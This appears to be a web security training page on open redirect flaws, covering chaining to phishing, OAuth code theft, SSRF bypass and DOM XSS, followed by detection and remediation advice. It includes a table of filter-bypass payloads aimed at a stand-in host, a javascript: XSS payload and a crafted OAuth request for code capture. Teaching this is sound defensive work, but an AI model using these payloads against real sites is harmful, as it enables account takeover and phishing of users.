Skip to content
Pwnversity
WEB-REDIRECTbasic · 5 min · upd. 2026-10

Open redirect

OWASP A01:2025CWE-601

The app redirects to a URL the user controls without validating it. On its own it’s low-to-medium impact, but it’s an attack multiplier: it lends credibility to phishing (the legit domain redirects to the fake one), lets you steal the OAuth code/token, bypass SSRF filters/“same-domain” validations, and sometimes escalate to XSS when the destination reaches a dangerous sink. The invariant broken is “we only redirect to trusted destinations”.

flowchart LR
    V[Victim] -->|"clicks a legit link"| L["legit.tld/authorize?redirect_uri=...&next=//evil.tld"]
    L -->|"OAuth consent"| L2["legit.tld/callback (redirects with the code)"]
    L2 -->|"open redirect: //evil.tld"| E[Attacker server]
    E -->|"captures the code and redeems it"| A[Attacker → ATO]
  • Credible phishing: the link is https://legit.tld/... and ends at the attacker’s site.
  • OAuth/SSO credential theft: if the provider’s redirect_uri allows a client open redirect, the code ends up on your domain (ATO; see OAuth).
  • Bypass of validations that trust “the URL starts with our domain”.
  • XSS (DOM-based) if the value reaches location/href as javascript:.

Two variants by where the redirect is decided:

  • Server-side: the server responds Location: <user value> (302).
  • DOM-based (client-side): JavaScript does location = param, location.href = ..., window.open(param), location.assign/replace(param) with a controllable source (location.search/hash).

The flaw comes from validating the destination with weak heuristics (block-list, “starts with /”, “contains our domain”) instead of parsing the URL and comparing the exact host. Typical parameters: ?next=, ?url=, ?returnTo=, ?redirect=, ?dest=, ?continue=, ?r=, ?u=, ?target=, ?redirect_uri=.

  • Server-side redirect — via the Location header.
  • DOM-based redirect — in a client navigation sink.
  • javascript: → XSS — when the sink accepts the scheme.
  • Chained to OAuth — to steal the code/token (highest impact).
  • Chained to SSRF — a redirect the server follows bypasses the allow-list.

Find those parameters (in login, logout, SSO, “back to”), and test whether the value ends in a redirect. For DOM, find the sinks (location, window.open) with DOM Invader or DevTools.

Payload What it exploits
?next=https://evil.tld direct redirect, no validation
?next=//evil.tld protocol-relative: inherits the scheme, host is evil.tld
?next=/\evil.tld bypass “starts with /” (some browsers treat /\ as //)
?next=https:evil.tld no //: certain browsers normalize it
?next=https://legit.tld@evil.tld userinfo: the real host is evil.tld
?next=https://evil.tld#legit.tld decorative fragment to fool the filter
?next=https://evil.tld\.legit.tld backslash some parsers interpret differently
?next=https%3a%2f%2fevil.tld URL-encode to dodge string filters
?next=https://legit.tld.evil.tld attacker subdomain if it validates “contains legit.tld”
?next=javascript:alert(document.domain) DOM sink → XSS

Try them mostly against block-list filters and “must contain our domain” filters, the weakest ones.

GET /authorize?response_type=code&client_id=app&redirect_uri=https://legit.tld/callback?next=//evil.tld HTTP/1.1
Host: idp.tld

After consent, the callback receives next=//evil.tld&code=.... A plain redirect(next) jumps only to the literal next value and does not carry the code: code theft happens only if the callback also forwards the code (or the whole query string) to the next destination. When that holds, capture the code on evil.tld and redeem it for the token: that’s the difference between an “informational” report and a high-severity one.

  1. Find the redirect parameter and confirm it redirects off-domain.
  2. Run the table’s bypasses against the present filter.
  3. If there’s a DOM sink, test javascript: for XSS.
  4. Look for the highest-impact chaining: OAuth code, SSRF, phishing.

Burp Suite, ffuf for parameter discovery, and the PayloadsAllTheThings bypass lists.

Isolated, credible phishing. Chained: ATO via OAuth code/token theft, bypass of SSRF allow-lists, or XSS via javascript:.

Location redirects to external domains from user parameters; traffic spikes with ?next= to non-owned domains after a phishing campaign.

Server/WAF logs with the generated Location, access logs with the Referer, and monitoring of unusual destination domains.

  1. Don’t use user absolute URLs to redirect. Prefer validated relative paths (starting with / and not // or /\) or a server-side destination map (id -> url).
  2. If domains must be allowed, exact host allow-list (parse the URL and compare the host, not “contains”).
  3. Interstitial warning page when leaving the domain.
  4. In OAuth clients, exact-match redirect_uri (see OAuth).

Fix validation, check for OAuth chaining, and warn if it was used for phishing against users.

  • Open redirect is endemic and usually reported as part of chains (OAuth ATO, targeted phishing) rather than an isolated flaw; it appears constantly in bug bounty, even at major identity providers.
  • Microsoft, Google and others have paid for open redirects used for token theft in login flows.

Product-specific CVEs/incidents in NVD (https://nvd.nist.gov/vuln/search) and GitHub Advisories (https://github.com/advisories).

  • Redirect parameters located (server and DOM).
  • Bypasses tested (//, /\, @, #, encoding, subdomain).
  • javascript: evaluated (DOM → XSS).
  • Chaining evaluated (OAuth code/token, SSRF, phishing).